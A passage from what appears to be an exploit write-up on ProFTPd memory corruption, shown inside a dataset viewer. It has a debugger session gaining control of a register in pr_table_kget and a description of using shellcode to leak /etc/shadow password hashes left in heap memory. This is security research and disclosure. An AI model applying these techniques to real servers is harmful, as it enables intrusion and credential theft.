text stringlengths 0 1.99k |
|---|
----[ 6.2 - Using the stack |
In addition, another exploitation strategy could arise when idx==6 in |
pr_table_kget() function. This creates an opportunity to control the |
value of rax: |
gef➤ p p->last=0x7fffffffd990 |
gef➤ dprintf table.c:588, "table2: pr_table_kget: idx==%d\n", (int)idx |
gef➤ c 6 |
Will ignore next 5 crossings of breakpoint 1. Continuing. |
table2: pr_table_kget: idx==3 |
table2: pr_table_kget: idx==3 |
table2: pr_table_kget: idx==6 |
Thread 20.1 "proftpd" received signal SIGSEGV, Segmentation fault. |
[ Legend: Modified register | Code | Heap | Stack | String ] |
──────────────────────────────────────────────────────────── registers ──── |
$rax : 0x4444444444444444 ("DDDDDDDD"?) |
$rbx : 0x000055555567aac0 → 0x0000000000000002 |
$rcx : 0x8 |
$rdx : 0x00005555556d1530 → 0x00005555556d1510 → 0x00005555556d1730 |
$rsp : 0x00007fffffffd890 → 0x0000000000000000 |
$rbp : 0x00007fffffffd8d0 → 0x00007fffffffd910 → 0x00007fffffffd960 |
$rsi : 0x10 |
$rdi : 0x0 |
$rip : 0x000055555557ac39 → <pr_table_kget+459> |
$r8 : 0x56a |
$r9 : 0x0000555555674dc0 → 0x0000000000000001 |
$r10 : 0x00007ffff7eff040 → 0x0000000000000000 |
$r11 : 0x9 |
$r12 : 0x00007fffffffe3f8 → 0x00007fffffffe68d |
$r13 : 0x00005555555734ea → <main+0> endbr64 |
$r14 : 0x0 |
$r15 : 0x00007ffff7ffbc40 → 0x00050f0f00000000 |
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 |
──────────────────────────────────────────────────────────────── stack ──── |
0x00007fffffffd890│+0x0000: 0x0000000000000000 ← $rsp |
0x00007fffffffd898│+0x0008: 0x0000000000000010 |
0x00007fffffffd8a0│+0x0010: 0x00005555556455cc → "displayable-str" |
0x00007fffffffd8a8│+0x0018: 0x00005555556d5f28 → 0x00005555556d5ee0 |
0x00007fffffffd8b0│+0x0020: 0x0000002800000000 |
0x00007fffffffd8b8│+0x0028: 0x00000006147a3d16 |
0x00007fffffffd8c0│+0x0030: 0x0000555555712990 → 0x4444444444444444 |
0x00007fffffffd8c8│+0x0038: 0x4444444444444444 |
────────────────────────────────────────────────────────── code:x86:64 ──── |
0x55555557ac2c <pr_table_kget+446> mov QWORD PTR [rbp-0x8], rax |
0x55555557ac30 <pr_table_kget+450> jmp 0x55555557acf0 <pr_table_kget+642> |
0x55555557ac35 <pr_table_kget+455> mov rax, QWORD PTR [rbp-0x8] |
→ 0x55555557ac39 <pr_table_kget+459> mov rax, QWORD PTR [rax+0x18] |
0x55555557ac3d <pr_table_kget+463> test rax, rax |
0x55555557ac40 <pr_table_kget+466> je 0x55555557ace4 <pr_table_kget+630> |
0x55555557ac46 <pr_table_kget+472> mov rax, QWORD PTR [rbp-0x8] |
0x55555557ac4a <pr_table_kget+476> mov rax, QWORD PTR [rax+0x18] |
0x55555557ac4e <pr_table_kget+480> mov eax, DWORD PTR [rax+0x18] |
─────────────────────────────────────────────────── source:table.c+600 ──── |
595 errno = ENOENT; |
596 return NULL; |
597 } |
598 |
599 for (ent = head; ent; ent = ent->next) { |
// ent=0x00007fffffffd8c8 → 0x4444444444444444 |
→ 600 if (ent->key == NULL || |
601 ent->key->hash != h) { |
602 continue; |
603 } |
604 |
─────────────────────────────────────────────────────────────────────────── |
gef➤ |
Someone might try this approach instead. The good thing is, you'll need to |
predict less memory addresses. |
----[ 6.3 - Leaking /etc/shadow |
Despite the fact that exploiting this bug turned out to be challenging, |
it also revealed some other interesting exploitation strategies, like the |
possibility of reading /etc/shadow content (at least partially). |
ProFTPd make use of libc getspnam(), this function first malloc() space on |
the heap and then calls getspnam_r (in fact the call is to __getspnam_r()), |
so the buffer is not controlled by ProFTPd, and libc does not clean/free |
either. |
Initially, when ProFTPd main daemon receives a connection, it fork()s and |
the execution continues within the child process. After user logs in and |
begins a FTP session, the process is chown()ed to equivalent user, so every |
action (e.g. upload file) taken is on behalf of the logged user. However, |
it does not zero out the libc memory areas before forking. As a result, any |
exploitable flaw would allow memory inspection. An example of this is the |
possibility to leak root or other user's password cryptogram from the |
/etc/shadow file, which was read, and the content is still there in memory. |
libc getspnam() or __getspnam_r() does not free malloc()ed memory after |
retrieving the user's password - which might by ok for performance reasons. |
Turns out that we can create shellcode to retrieve other users shadow |
password from our forked process (instead of execve() a shell). |
In main.c:2589 the code mentions closing the file descriptors, but doesn't |
pay attention to bzero()ing the memory where the file's content was stored. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.